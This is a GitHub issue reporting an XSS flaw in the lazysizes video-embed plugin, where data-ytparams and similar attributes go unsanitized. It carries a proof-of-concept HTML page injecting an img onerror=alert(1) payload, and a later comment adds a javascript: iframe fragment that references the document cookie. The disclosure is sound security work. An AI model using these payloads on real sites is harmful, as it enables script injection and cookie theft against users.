Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

XSS vulnerability in video-embed plugin #764

Closed
koczkatamas opened this issue Mar 9, 2020 · 1 comment
Closed

XSS vulnerability in video-embed plugin #764

koczkatamas opened this issue Mar 9, 2020 · 1 comment

Comments

@koczkatamas
Copy link

Describe the bug
The following attributes are not sanitized by the video-embed plugin: data-vimeo, data-vimeoparams, data-youtube and data-ytparams which may lead to XSS vulnerability.

Affected source code
The following lines contain the vulnerability:

To Reproduce
Open the following file and click on the play button:

<html>
<head>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/lazysizes/5.2.0/lazysizes.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/lazysizes/5.2.0/plugins/video-embed/ls.video-embed.min.js"></script>
</head>
<body>
    <div class="ratio-16-9 lazyload" data-youtube="M7lc1UVf-VE" data-ytparams="&quot;&gt;&lt;/iframe&gt;&lt;img src=x onerror=alert(1)&gt;">
        <button class="play-btn">play</button>
    </div>    
</body>
</html>

What is the expected behavior
No XSS vulnerability.

What happened instead
alert(1) popup was shown, so the code embedded into the data-ytparams attribute ran.

Similar issues
This was a somewhat similar issue in jQuery UI which was handled as a security vulnerability and also got a CVE: jquery/api.jqueryui.com#281

In what environment (browser/device etc.) does this bug happen/not happen:
Affects all environments, but tested in Chrome 80.0.3987.132 (Official Build) (64-bit) on Windows 10
@dependabot dependabot bot mentioned this issue Mar 14, 2021
Closed
@ahmedredhat
Copy link

iframe src=javascript:alert(document cookie) svg

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
2 participants
@koczkatamas @ahmedredhat